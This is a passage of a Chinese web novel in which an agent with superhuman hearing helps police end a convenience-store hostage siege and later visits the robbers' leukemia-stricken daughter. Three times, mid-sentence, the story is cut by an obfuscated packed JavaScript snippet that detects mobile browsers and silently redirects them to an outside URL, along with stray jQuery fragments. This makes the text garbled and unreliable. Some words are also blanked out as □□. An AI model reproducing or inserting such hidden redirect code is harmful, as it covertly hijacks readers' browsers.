三辆黑色SUV已经发动。杨晓晓换上便装,背着小巧的装备包钻进中间那辆车。雷昊在副驾驶敲击着笔记本电脑,熊毅开车,林墨坐在她旁边,脸色有点白——显然也是被突然叫来的。 “什么情况?”杨晓晓问。 “十五分钟前,110接到报警,城东一家便利店被劫持。”雷昊调出地图和监控画面,“劫匪至少两人,控制了一家‘24小时便利’店,里面有店员和顾客共五人。警方已经包围现场,但劫匪情绪激动,声称有□□。” 画面显示,便利店位于一个老旧小区门口,周围已经拉起了警戒线。几辆警车停在远处,狙击手正在寻找位置。 “为什么叫我们?”杨晓晓问,“这种案件不是应该由警方处理吗?” “因为劫匪可能不是普通人。”陈树的声音从通讯器传来,“根据现场警察的汇报,劫匪似乎能提前感知警方的行动。比如警方刚决定从后门突入,劫匪就大喊‘我知道你们在后门’。” “听力能力者?”杨晓晓皱眉。 “可能。或者有其他侦察手段。所以需要我们支援。杨晓晓,你的任务:监听店内情况,判断劫匪位置、武器、人质状况,为谈判和突击提供情报。” “明白。” 车子在距离便利店两条街的地方停下。为了不引起注意,他们步行靠近。警方已经设立了临时指挥车,一名中年警官正在焦急地打电话。 陈树上前出示证件:“特保局,负责特殊支援。” 警官如释重负:“太好了!劫匪太狡猾了,我们几次行动意图都被识破。里面的人质情况不明,我们不敢轻举妄动。” 杨晓晓被带到指挥车旁的一辆厢式货车里,这里已经改造成了临时监听站。她戴上专业耳机,调整设备,将监听方向对准便利店。 声音涌来。 店里很安静,但能听到压抑的呼吸声、啜泣声,还有……两个男人的粗重呼吸。 “人质五个。”杨晓晓闭着眼睛汇报,“三个女性,两个男性。一个女性在哭,呼吸急促;一个男性呼吸有杂音,可能年龄较大或有健康问题;另外三个相对平稳。” “劫匪两个。”她继续,“都在收银台附近。一个心跳很快,很紧张;一个相对平稳,应该是主谋。他们在小声说话……” 她放大监听。 “……哥,警察越来越多了……” “闭嘴,按计划来。拿到钱我们就走。” “可是他们说……” “我说了闭嘴!” 杨晓晓汇报:“劫匪在争吵。年轻的叫年长的‘哥’,两人是兄弟。他们在等什么……钱?赎金?” 这时,店里的劫匪突然大喊:“外面的警察听着!我们要一百万现金!一辆加满油的车!一小时内准备好!否则我们就杀人质!” 声音通过劫匪手里的扩音器传出来,连指挥车这边都能听到。 警方谈判专家立刻回应:“钱和车都需要时间准备!请保证人质安全!” “少废话!五十分钟!现在开始计时!” 杨晓晓继续监听。她听到劫匪兄弟在小声商量: “哥,真的要杀人吗……” “不杀人怎么吓住他们?但别真杀,吓唬吓唬就行。” “那……那个人质老头好像快不行了……” 杨晓晓心里一紧:“报告!有一名人质,老年男性,呼吸异常困难,可能患有哮喘或心脏病!需要紧急医疗!” 指挥车里的警官立刻下令:“叫救护车待命!准备急救药品!” 但问题来了:怎么把药送进去? 劫匪不可能允许医生接近。 杨晓晓思考着。她听到店里货架上的商品标签被风吹动的声音——店里的空调在运转。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191491|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她有了主意。 “可以通过通风系统送药吗?”她问。 雷昊立刻调出便利店的结构图:“有中央空调,通风管道可以直达店内。但管道很窄,只能送小件物品。” “哮喘吸入剂很小。”杨晓晓说,“可以送进去。但需要精准投送——必须送到老人附近,还不能被劫匪发现。” 所有人的目光都看向了林墨。 林墨紧张地咽了口口水:“我……我可以穿墙进去,送药……” “不行。”陈树否决,“里面情况不明,你进去太危险。” “那……用无人机?”雷昊提议,“微型无人机,从通风口飞进去。” “无人机会有声音,会被发现。”杨晓晓摇头。 她想了想,突然有了一个大胆的想法:“如果……如果能让劫匪自己把药送过去呢?” “什么意思?” 杨晓晓闭上眼睛,再次仔细监听店内的声音。她听到货架上的商品,听到冰柜的运转,听到空调出风口的风…… 还有,她听到收银台下面,有一个小东西在发出规律的“嘀嗒”声。 很微弱,但很清晰。 “店里……有定时装置。”她声音发紧,“在收银台下面,嘀嗒声,可能是炸弹,也可能是假的。但劫匪不知道我们知道。” 她看向陈树:“我们可以假装发现了炸弹,要求检查。在检查过程中,把药混在检查设备里送进去。劫匪为了证明‘炸弹’是假的,可能会允许。” 陈树思考了几秒,点头:“可以试试。但需要精确的时间差——必须在劫匪反应过来前完成送药。” 计划迅速制定。警方谈判专家再次喊话:“我们同意准备钱和车!但我们需要确认人质安全!另外,我们检测到店内有可疑电子信号,怀疑有□□!为了双方安全,请允许我们送一个检测设备进去!” 店里沉默了一会儿。 然后劫匪老大回应:“什么检测设备?别耍花样!” “只是一个手持式探测器,确认没有□□,对大家都好。我们可以通过通风口送进去,你们自己检查。” 又是一阵沉默。 杨晓晓屏住呼吸听着。她听到劫匪兄弟在低声争吵: “哥,不能让他们送东西进来!” “万一是真的炸弹呢?我们没放炸弹,但万一……” “那怎么办?” “让他们送!但我们必须先检查!” 成了。 几分钟后,一个巴掌大的“探测器”被送进了通风管道。但探测器里除了检测元件,还藏着一支哮喘吸入剂。 探测器从通风口掉进店里,落在货架间。劫匪老大小心翼翼地捡起来,检查了一番,没发现异常。 “探测器没问题。”他对着外面喊,“但我们不会把它给人质!” “不需要给人质。”谈判专家说,“只要开机,放在地上,我们就能远程检测。” 劫匪老大照做了。探测器被放在地上,指示灯开始闪烁。 而在探测器落地的瞬间,杨晓晓听到了极其轻微的“咔”声——是吸入剂的卡扣被震开了。 现在,吸入剂就在探测器旁边,离那个呼吸困难的老人只有三米。 但老人被绑着,动不了。 杨晓晓咬着嘴唇。还差一步。 她听到老人在艰难地呼吸,每一次吸气都带着哮鸣音。时间不多了。 突然,她听到店里传来一个年轻女性的声音,很虚弱:“大叔……你怎么样……你口袋……是不是有药?” 老人艰难地回答:“有……但拿不到……” “我……我帮你……” 杨晓晓心里一紧。那个年轻女人想帮忙,但这样会激怒劫匪! 果然,劫匪小弟大喊:“不许动!都别动!” 但年轻女人已经挣扎着挪动身体,用脚把探测器往老人那边踢了一点。 “我叫你别动!”劫匪小弟冲过去。 就在这时,杨晓晓听到了一声极轻微的“嗤”——是吸入剂的喷雾声! 老人拿到了!他喷了药! 几秒钟后,老人的呼吸明显顺畅了一些。 杨晓晓长出一口气,汇报:“药已使用,老人呼吸改善。” 指挥车里,所有人都松了口气。 但危机还没解除。劫匪的情绪因为刚才的骚动更加激动,时间也只剩下三十五分钟。 真正的考验,现在才开始。 52. 闹市区的危机 便利店内的紧张气氛几乎能通过声音传递出来。 杨晓晓戴着监听耳机,额头渗出细密的汗珠。店里的每一个声音都在她耳中被放大、解析:劫匪粗重的呼吸,人质压抑的啜泣,空调出风口的嗡鸣,甚至冰柜压缩机启动时的轻微震动。 “劫匪位置更新。”她闭着眼睛,声音平稳地汇报,“老大在收银台后方,靠近后门的位置。小弟在货架区巡逻,现在在东南角,距离最近的人质(年轻女性)约两米。” 陈树在指挥车上盯着监控画面:“能判断武器类型吗?” 杨晓晓仔细分辨。劫匪走路时,腰间有硬物与皮带扣碰撞的声音——是金属。但不是枪械那种清脆的碰撞,而是更沉闷的……刀鞘? “应该是刀具。”她说,“至少两把,长度在20-25厘米,可能是砍刀或匕首。没有听到枪械上膛或零件摩擦的声音。” 雷昊在另一台设备上分析着店内的热成像:“两个人形热源,确认。五个人质热源,其中一人的体温明显偏低,可能是那个老人。” “人质状况?”陈树问。 杨晓晓逐个监听: “一号人质,老年男性,刚才用过哮喘药,呼吸平稳了些,但心率仍然偏快,大约100。” “二号人质,年轻女性,在轻声啜泣,心跳很快,大约120,很害怕。” “三号人质,中年女性(店员),呼吸相对平稳,但偶尔有吞咽动作,可能在努力保持冷静。” “四号人质,年轻男性,呼吸浅而快,可能也患有焦虑或恐慌症。” “五号人质……”杨晓晓皱眉,“是个孩子?呼吸声很轻,心跳很快,但没有哭。可能吓懵了。” 指挥车里一阵沉默。有孩子。 “年龄能判断吗?”警官急切地问。 杨晓晓努力分辨那个呼吸声。很轻,很细,像……“大概八到十岁。男孩,因为他穿的运动鞋有特殊的摩擦声——我听到过那种鞋底的声音,是儿童款。” “该死。”警官低声咒骂,“怎么会有孩子……” 时间一分一秒过去。劫匪规定的时限只剩下二十五分钟了。 警方已经准备好了钱和车,但劫匪又提出了新要求:“我们要一个人质跟我们上车!等我们安全了再放人!” 这不可能答应。让人质上车,意味着劫匪有了移动的“盾牌”,更难抓捕,人质也更危险。 谈判陷入僵局。 杨晓晓继续监听。她听到劫匪兄弟在低声争吵: “哥,警察不会同意的……” “他们必须同意!不然我们就……” “可是带着人质,我们也跑不远……” “那你说怎么办?!” 沉默。 杨晓晓捕捉到了一个关键信息:劫匪小弟在说“跑不远”时,声音里有一丝绝望。而劫匪老大在回应时,呼吸突然急促了一下——那是人在撒谎或隐瞒时的生理反应。 “劫匪可能没打算真的逃跑。”杨晓晓汇报,“老大在隐瞒什么。小弟也不知道完整的计划。” 陈树眼神一凛:“问他们为什么要钱。谈判专家,问具体用途。” 谈判专家照做:“你们要一百万,具体要用来做什么?如果是急用,也许我们可以帮忙,不必走极端。” 店里,劫匪老大吼道:“少废话!给钱放人!” 但杨晓晓听到小弟在小声嘀咕:“……妞妞的医药费……” 妞妞?听起来像女孩的名字。 “劫匪提到‘妞妞’,可能是家人,需要医药费。”杨晓晓说。 就在这时,意外发生了。 便利店后门的方向,突然传来一声巨响——是警方的一辆摩托车不小心撞到了垃圾桶! 虽然距离还远,但在紧张的寂静中,这声音像炸弹一样。 “警察要强攻!”劫匪小弟尖叫起来,“哥,他们骗我们!” “都别动!谁动我杀谁!”劫匪老大的声音也变了调。 杨晓晓听到刀出鞘的声音,还有人的惊呼。 “他们要动手了!”她急喊。 指挥车里,所有人都绷紧了神经。狙击手报告:“劫匪躲在人质后面,没有射击角度!” “准备强攻!”警官下令。 “等等。”杨晓晓突然说,“劫匪的刀……没有指向人质。他在……割什么东西?” 她仔细听。刀锋划过物体的声音,不是□□,而是……塑料?绳索? “他在割绑人质的绳子?”杨晓晓不确定。 突然,劫匪老大喊道:“外面的人听着!我知道你们要强攻!但我告诉你们,我身上绑了炸药!遥控在我弟弟手里!如果我们死了,或者被抓,他就引爆!” 全场寂静。 杨晓晓立刻监听劫匪小弟。他的心跳突然加速,呼吸紊乱——这是惊慌的表现。他可能不知道“炸药”的事。 “小弟不知道炸药的事。”她汇报,“老大可能在虚张声势。” “但不能冒险。”陈树说,“检测□□!” 雷昊调出各种探测设备的数据:“没有检测到常见炸药的化学信号。但如果是□□,可能检测不到。” 时间只剩下十五分钟了。 杨晓晓感觉头又开始疼了。连续高强度的监听,加上之前测试的消耗,让她接近极限。但她不能停。 她想起陈树说的:实战是最好的测试。 现在就是实战。 她调整呼吸,重新集中。这次,她不只监听声音,还尝试“感受”声音传递的信息——情绪、意图、真相。 劫匪老大的声音:愤怒,但深处有绝望。 劫匪小弟的声音:恐惧,还有……愧疚? 人质们的声音:恐惧,但也有求生的本能。 还有那个孩子,一直没哭,但呼吸越来越浅——这是过度惊吓可能导致晕厥的前兆。 “孩子可能要晕倒。”杨晓晓说,“需要尽快结束对峙。” “但劫匪有‘炸药’威胁。”警官皱眉。 杨晓晓想了想:“如果炸药是假的呢?或者,如果遥控器不在小弟手里呢?” 她监听劫匪小弟的动作。他在发抖,手在口袋里摸索——但没有按下任何按钮的动作。如果真有遥控器,在这种紧张时刻,手应该紧紧握着它才对。 “小弟没有按遥控器的动作。”杨晓晓说,“老大可能在说谎。” 但如何验证? 这时,林墨小声说:“我……我可以穿墙进去,确认……” “不行。”陈树再次否决,“太危险。” “那……”杨晓晓突然有了一个主意,“如果让劫匪自己暴露呢?” 她看向谈判专家:“告诉他,我们同意送一个人质上车,但必须由我们指定人选。我们可以指定那个孩子——劫匪带着孩子,行动不便,我们会更容易追踪。但如果他们真的有炸药,不会同意带孩子的,因为孩子不可控,容易引发意外爆炸。” 谈判专家眼睛一亮:“好计策。” 他拿起扩音器:“我们同意一个人质上车!但我们要求是那个孩子!孩子轻,不影响你们驾驶,我们也放心,孩子不会反抗。” 店里沉默了很久。 杨晓晓屏住呼吸听着。 劫匪老大在低声骂人,小弟在说:“哥,不能带小孩……” “我知道!”老大吼道,然后对外喊,“不行!换一个!那个女的!” 他指的是年轻女性店员。 杨晓晓心里一松。劫匪拒绝了带孩子,说明他们顾忌什么——要么是炸药真的存在,怕孩子乱动引爆;要么是炸药不存在,但他们不敢带不可控因素。 更大的可能是后者。 “炸药很可能是假的。”杨晓晓说,“他们不敢带孩子,因为孩子会哭闹,会暴露他们没有炸药的事实。” “但还不够确定。”陈树说。 时间只剩下十分钟了。 杨晓晓咬牙,做了个决定:“我请求接近店铺,做更精准的监听。现在的距离,有些细节听不清。” “太危险了!”雷昊反对。 “我有把握。”杨晓晓看着陈树,“陈队,让我试试。我能听到更多。” 陈树盯着她看了几秒,最终点头:“熊毅, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191492|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你保护她。保持安全距离。” 两分钟后,杨晓晓和熊毅悄悄移动到了便利店隔壁的店铺里。只隔着一堵墙,店里的声音清晰了很多。 杨晓晓贴着墙壁,闭上眼睛。 现在她能听到了: 劫匪老大腰间确实有东西在晃动,但不是炸药的块状物,而是……金属罐?像……喷雾罐? 小弟口袋里也有东西,但不是遥控器,而是……手机?他在频繁地看手机。 还有,杨晓晓听到了一个之前没注意到的声音:在收银台下面,有极轻微的、规律的“嘀嘀”声,像电子计时器,但频率和炸弹计时器不一样。 那是……手机震动?调成了静音,但放在硬物上,还是有微弱的声音。 有人在给劫匪打电话? 杨晓晓把这个发现汇报上去。 雷昊立刻行动:“我尝试追踪那个号码……需要时间,但可以先干扰信号,防止他们接收指令。” “做。”陈树下令。 时间还剩七分钟。 店里的气氛越来越紧张。劫匪老大开始焦躁地踱步,小弟则不停地看手机——但手机信号已经被干扰,他什么也看不到。 “哥,电话打不通了……” “什么?!” “那个人的电话……接不通了……” 杨晓晓捕捉到了关键词“那个人”。劫匪背后还有人? 就在这时,劫匪老大的手机响了——是另一个号码,没有被干扰。 他接起来,听了几秒,脸色大变。 “你耍我?!”他对着电话怒吼,“你说会帮我们逃出去的!现在警察把我们包围了!” 电话那头说了什么,劫匪老大更愤怒了:“妞妞的医药费?你们根本没打算给!你们就是想让我们当替死鬼!” 杨晓晓听明白了。有人利用劫匪女儿生病需要钱这件事,操控他们制造这起劫持案。但现在计划有变,幕后黑手想抛弃他们。 “劫匪被利用了。”她快速汇报,“他们背后有人指使,但现在那个人想脱身。劫匪意识到被骗了。” 这是个机会,也是危险——意识到被骗的劫匪,可能做出极端行为。 但杨晓晓也听到了劫匪声音里的变化:愤怒开始压过绝望,但愤怒的对象不是警察或人质,而是那个欺骗他们的人。 “谈判专家!”她急声说,“告诉他们,我们知道他们被骗了!我们可以帮他们抓住那个骗子,还可以帮他们的女儿!” 谈判专家立刻喊话:“里面的人听着!我们知道你们被人利用了!你们女儿的病,我们可以帮忙!放下武器,保证人质安全,我们可以从轻处理!” 店里安静了几秒。 然后,劫匪小弟突然哭了:“哥……我不想死……妞妞还在医院等我们……” 劫匪老大的呼吸也变得粗重。杨晓晓听到他手里的刀掉在地上的声音。 “你们……真的能帮妞妞?”他的声音颤抖。 “能!”谈判专家斩钉截铁,“我们已经联系了医院,最好的医生,费用我们承担!但前提是,所有人质必须安全!” 又是漫长的几秒。 终于,劫匪老大说:“我们……投降。但你们要说话算话。” “一定!” 便利店的门缓缓打开。劫匪兄弟举着双手走出来,身后是五个惊魂未定的人质。 警察一拥而上,控制住劫匪,救护人员冲进去照顾人质。 杨晓晓摘下耳机,长出一口气。她感觉全身的力气都被抽空了,腿一软,差点摔倒。 熊毅扶住她:“没事吧?” “没事……就是有点累。”杨晓晓勉强笑笑。 陈树走过来,看着她苍白的脸色,拍拍她的肩:“做得好。今天的实战,你通过了。” 杨晓晓抬头,看到那个被救出来的孩子扑进妈妈怀里大哭,看到老人被扶上救护车,看到年轻女性店员抱着同事颤抖…… 她突然觉得,所有的累,所有的苦,都值得。 因为她的听力,今天救了五个人。 这比任何测试的满分,都更有价值。 53. 谈判专家的“耳朵” 便利店劫持事件结束后的第三天,特保局会议室。 杨晓晓坐在长桌旁,面前摆着一杯热茶。她脸色还有点苍白,但精神已经恢复了不少。坐在她对面的,是那天现场的中年谈判专家,姓李,大家都叫他李老师。 “杨晓晓同志,我今天来,是想正式感谢你。”李老师语气诚恳,“那天如果没有你的精准监听,我们不可能那么快判断出劫匪的真实意图,也不可能那么顺利地解决危机。” 杨晓晓有点不好意思:“我只是做了该做的。” “不,你做的远远超出‘该做的’。”李老师打开一个笔记本,“我复盘了整个谈判过程,发现至少有四个关键节点,是你的监听信息改变了我的策略。” 他指着笔记:“第一,你听出老人有哮喘,我们及时送了药,避免了人质死亡——这让我们在道德和舆论上占据了绝对优势。” “第二,你判断出劫匪的武器是刀不是枪,这让我们在制定突击方案时更从容——对付刀和对付枪,是完全不同的战术。” “第三,你听出劫匪提到‘妞妞’,让我们知道他们的动机是筹钱治病,而不是纯粹的暴力犯罪——这让我们有了谈判的突破口。” “第四,也是最重要的,你听出劫匪背后有人指使,并且那个人想抛弃他们——这让我们能够离间劫匪和幕后黑手,最终促成他们投降。” 李老师合上笔记本,认真地看着杨晓晓:“你的能力,在谈判和危机处理中,有不可估量的价值。我想申请,以后有类似的案件,能否请你作为‘监听支援’参与?” 杨晓晓看向陈树。陈树点头:“可以。但要根据任务情况安排。” “太好了。”李老师笑了,“另外,我个人想请教你一些技巧。你是怎么在那么嘈杂的环境里,分辨出那么多细节的?尤其是,你怎么听出劫匪的情绪变化?” 这个问题让杨晓晓思考了一下。她回忆着那天的经历。 “其实……不是用耳朵‘听’的。”她慢慢说,“是用心‘感受’的。声音不只是振动,它还承载着说话者的情绪、意图、身体状况。比如呼吸——紧张时的呼吸短促,撒谎时的呼吸会停顿,绝望时的呼吸会变浅。比如心跳——恐惧时加速,愤怒时变重,放松时平稳。” 她顿了顿:“还有语调的细微变化。劫匪老大在提到‘妞妞’时,声音有极轻微的颤抖,那是他内心最柔软的地方被触动了。他在威胁要引爆炸药时,声音故意放大,但底气不足——因为那是谎言。” 李老师认真地记着笔记:“所以你是通过生理声音和语调的细微变化,综合判断的?” “对。”杨晓晓点头,“但最重要的是……要带着同理心去听。不能把他们当成‘罪犯’标签去听,要把他们当成‘人’去听。每个人做坏事,背后都有原因。听出那个原因,才能找到解决的方法。” 会议室里安静了一会儿。 李老师感慨:“我做了二十年谈判专家,见过各种罪犯。但有时候,太专注于‘谈判技巧’,反而忽略了他们作为‘人’的一面。你今天的话,给我上了一课。” 他站起来,向杨晓晓伸出手:“希望以后能多合作。” 杨晓晓和他握手:“我也希望能帮上忙。” 李老师离开后,陈树对杨晓晓说:“你做得很好。不只是能力运用,还有你的心态——带着同理心去听,这是很多老人都做不到的。” 杨晓晓想了想,问:“陈队,那个‘妞妞’……怎么样了?” “在医院,白血病,需要骨髓移植。”陈树说,“局里已经协调了医疗资源,费用全免,也找到了初步匹配的骨髓捐献者。但能不能治好,还要看后续治疗。” “那劫匪兄弟呢?” “正在审讯。他们交代了幕后指使者的信息——一个本地的□□头目,想用劫持事件转移警方注意力,方便他进行一笔大额毒品交易。我们已经开始抓捕行动了。” 杨晓晓松了口气。至少,这件事有个相对好的结局。 “但你不要太有心理负担。”陈树看着她,“劫匪确实有苦衷,但他们选择用犯罪来解决问题,这本身就是错的。我们的工作是阻止犯罪,保护无辜。至于犯罪背后的悲剧……我们能帮就帮,但不能因此就原谅犯罪。” “我明白。”杨晓晓点头。 离开会议室,她遇到了雷昊。雷昊一脸兴奋:“晓晓!你知道吗?你那天的事迹在局里传开了!现在大家都叫你‘谈判专家的耳朵’!” 杨晓晓哭笑不得:“这外号也太……” “很贴切啊!”雷昊说,“李老师可是局里最牛的谈判专家,他能专门来感谢你,说明你真的厉害!” 正说着,熊毅和林墨也过来了。熊毅递给杨晓晓一个小盒子:“给你。” 杨晓晓打开,里面是一块精致的巧克力,还有一张卡片:“给最可靠的‘耳朵’。谢谢那天你救了我妹妹的朋友——那个年轻女店员是我妹妹的同学。” 杨晓晓惊讶:“这么巧?” “嗯。”熊毅点头,“我妹妹知道后,一定要我谢谢你。” 林墨也小声说:“晓晓……很厉害。” 杨晓晓看着三个队友,心里暖暖的。 这就是团队的意义。不只是并肩作战,还有互相支持,互相认可。 “对了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191493|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周局长说要给你记功。”雷昊说,“年度测评你本来就能拿A,加上这次实战表现,估计能拿A+。新人第一年就拿A+的,局里十年没出过了!” 杨晓晓反而有点不安:“这样……会不会太高调了?” “实力摆在那儿,怕什么高调。”雷昊拍拍她的肩,“再说了,咱们特保局本来就低调,记功也是内部的事,外人又不知道。” 这倒也是。 晚上,杨晓晓在宿舍整理那天的监听记录。她打开录音文件,重新听了一遍。 劫匪老大的声音:“妞妞还在医院等我们……” 劫匪小弟的哭声:“哥……我不想死……” 年轻女店员的啜泣。 老人的艰难呼吸。 孩子的安静——那种吓到失声的安静。 还有最后,劫匪放下刀时,那声如释重负的叹息。 她闭上眼睛,那些声音在脑海里回响。 这是她第一次参与真实的劫持案件。不同于之前的间谍案、武器案,这次面对的是走投无路的普通人,是被生活逼到绝境的父亲和叔叔。 他们的选择是错的,但他们的绝望是真实的。 杨晓晓想起陈树的话:带着同理心去听。 她确实这么做了。她听出了他们的绝望,听出了他们对女儿的深爱,听出了他们被利用的愤怒,也听出了他们最后的悔意。 正因为听出了这些,她才能给出关键的判断,才能帮助谈判专家找到突破口。 这双耳朵,不只是收集情报的工具。 它也是理解人心、化解危机的桥梁。 手机震动,是李老师发来的消息:“小杨,下周有个绑架案的谈判,嫌犯情绪极不稳定。如果你有时间,希望能支援。具体情况我明天发给你。” 杨晓晓回复:“好的,李老师。我会尽力。” 放下手机,她走到窗边,看着夜色中的城市。 这个城市每天都有各种各样的故事发生。有的温暖,有的残酷,有的让人叹息。 而她,现在有能力去倾听这些故事,有能力去改变一些故事的结局。 这让她觉得,自己选择的这条路,是对的。 哪怕危险,哪怕辛苦,哪怕要隐藏身份,不能像普通人一样生活。 但值得。 因为她的听力,能救人。 能保护那些无辜的人,能给那些走错路的人一次回头的机会。 这就是她作为“耳朵”的意义。 她深吸一口气,感觉内心充满了力量。 明天,新的训练,新的挑战。 而她,已经准备好了。 54. 劫匪背后的故事 周五下午三点,特保局医疗中心。 杨晓晓站在病房外,透过玻璃窗看着里面的小女孩。女孩大概六七岁,瘦瘦小小的,头发因为化疗已经掉光了,戴着一顶可爱的毛线帽。她正专注地拼着一幅拼图,旁边坐着一位护士。 “那就是妞妞。”陈树站在她身边,“劫匪张强的女儿,急性淋巴细胞白血病,确诊八个月了。” 杨晓晓看着那个小小的身影,心里一阵发酸。这么小的孩子,要承受这么多痛苦。 “她妈妈呢?”她问。 “两年前车祸去世了。”陈树说,“张强一个人带着女儿,在建筑工地打工。女儿生病后,花光了所有积蓄,还欠了二十多万外债。工地老板知道他情况,给了他预支工资,但远远不够。” 杨晓晓沉默。她想起张强在便利店里的声音,那种绝望中的挣扎。 “另一个劫匪是他弟弟,张勇,二十五岁,在餐厅当服务员。”陈树继续说,“兄弟俩感情很好,张勇把侄女当亲生女儿疼。为了筹钱,他们试过所有合法途径——募捐、贷款、求助媒体,但杯水车薪。” “所以……就选择了犯罪?”杨晓晓声音有点涩。 “走投无路时的错误选择。”陈树说,“他们本来只是想抢劫,但被□□的刘三盯上了。刘三骗他们说,制造一起‘大事件’,能吸引社会关注,到时候会有慈善机构主动捐款。他们信了。” 杨晓晓想起监听时听到的“那个人”——应该就是刘三。 “刘三抓住了吗?” “昨天晚上落网的。”陈树点头,“他确实在策划毒品交易,想用劫持案转移警方注意力。张强兄弟只是他的棋子。现在刘三的犯罪集团被一锅端了,张强兄弟也配合提供了关键证据。” 病房里,妞妞拼好了拼图,高兴地拍手。护士笑着摸摸她的头。 “她会好起来吗?”杨晓晓轻声问。 “局里协调了最好的医疗资源,骨髓移植手术安排在下个月。”陈树说,“匹配的捐献者已经找到了,手术成功率在70%以上。费用全免,术后康复也会跟进。” “那……张强兄弟会怎么样?” “法律程序会走。但他们有自首情节,配合抓捕主犯,加上特殊家庭情况,法官会酌情考虑。不过,坐牢是免不了的,只是刑期可能会短一些。” 杨晓晓看着妞妞天真无邪的笑脸。这个孩子不知道,父亲和叔叔为了她,走上了犯罪的道路。也不知道,她现在能接受最好的治疗,是因为父亲和叔叔犯下的罪被阻止了。 命运有时候,就是这么讽刺。 “进去看看吧。”陈树说。 杨晓晓犹豫了一下,还是推门进去了。 妞妞看到陌生人,有点害羞地往护士身后躲。 “妞妞,这是杨阿姨,是……帮助过你爸爸的人。”护士轻声说。 妞妞眨了眨大眼睛,小声问:“爸爸什么时候来看我?” 杨晓晓心里一紧。她不知道该怎么回答。 护士接过话:“爸爸出差去了,要很久才能回来。但他打电话说,让妞妞乖乖治病,等他回来给你带礼物。” “哦。”妞妞有点失望,但很快又笑起来,“那我快点好起来,等爸爸回来!” 杨晓晓蹲下身,看着妞妞的眼睛:“妞妞,你爸爸很爱你。他希望你好好的。” “我知道。”妞妞点头,“爸爸说他最爱的就是我。叔叔也是。” 杨晓晓鼻子一酸,赶紧站起来。 护士带妞妞去检查了。杨晓晓和陈树走出病房。 “心里不好受?”陈树问。 “嗯。”杨晓晓点头,“觉得……很复杂。他们做了错事,但他们也是被逼的。妞妞是无辜的,但因为她,两个家庭毁了。” “这就是我们这行经常要面对的。”陈树说,“没有纯粹的黑与白,更多的是灰色地带。我们要做的,是依法办事,但也要看到案件背后的人性。” 他顿了顿:“法律要维护公正,但人性需要理解。张强兄弟犯了罪,必须接受惩罚,这是法律的底线。但他们的困境,社会应该帮助解决,这是人性的温度。不冲突。” 杨晓晓思考着这些话。她想起秦望舒老人说的“能力要用在正道上”,想起周局长说的“保护人民是我们的底线”。 正道,不只是打击犯罪,也是帮助那些在犯罪边缘的人,不要掉下去。 保护人民,不只是保护受害者,也是让那些可能成为加害者的人,有其他的选择。 “我明白了。”她说,“我们不能因为同情就原谅犯罪,但也不能因为犯罪就完全否定一个人。该惩罚的惩罚,该帮助的帮助。” 陈树点头:“你成长得很快。很多人干这行很多年,都未必能想明白这个道理。” 他们走出医疗中心,外面阳光很好。 雷昊、熊毅、林墨在门口等着。 “怎么样?”雷昊问。 “妞妞状态不错。”杨晓晓说,“下个月手术。” “那就好。”雷昊松了口气,“对了,周局长找你,在办公室。” --- 周局长的办公室里弥漫着淡淡的茶香。 杨晓晓敲门进去时,周正浩正在泡茶。见她进来,他指了指对面的椅子:“坐。尝尝这个,今年新到的龙井。” 杨晓晓小心地坐下,接过茶杯。茶汤清亮,香气扑鼻。 “劫持事件的后续处理,陈树都跟你说了?”周局长问。 “都说了。”杨晓晓点头,“妞妞的治疗已经安排好了,张强兄弟的案件也进入司法程序。” 周局长慢慢喝着茶,沉默了片刻:“有什么感想?” 杨晓晓放下茶杯,认真思考后回答:“我觉得……我们工作的意义,不止于阻止犯罪的那一刻。案件的终结,往往只是另一段故事的开始。像妞妞这样的孩子,她的未来需要被关注;像张强这样走投无路的人,他们的困境需要被看到。” 她顿了顿,继续说:“当然,犯罪必须受到惩罚,这是维护社会秩序的底线。但在执法的同时,如果我们能多做一些——帮助那些无辜的家属,关注案件背后的社会问题,也许就能减少一些‘不得不犯罪’的悲剧。” 周局长看着她,眼里有赞许的光:“说得很好。特保局的工作,表面上是处理‘特殊事务’,但根本目的,是维护社会稳定,保护人民安全。而‘保护’,既包括打击眼前的威胁,也包括消除威胁产生的土壤。” 他放下茶杯,从抽屉里拿出一份文件:“基于你这次任务的表现,以及你对案件后续的思考,局里决定给你一项新的职责。” 杨晓晓接过文件,是一份《关于设立案件社会救助联络岗位的试行方案》,她的名字列在“首批联络员”中。 “这个岗位的职责,是在案件处理后,负责跟进涉案困难家庭的情况,协调社会救助资源,提供必要的帮助。”周局长解释道,“不需要你脱离外勤工作,而是作为一项附加职责。你觉得怎么样?” 杨晓晓仔细阅读文件内容,眼睛渐渐亮起来:“我愿意。这工作很有意义。” 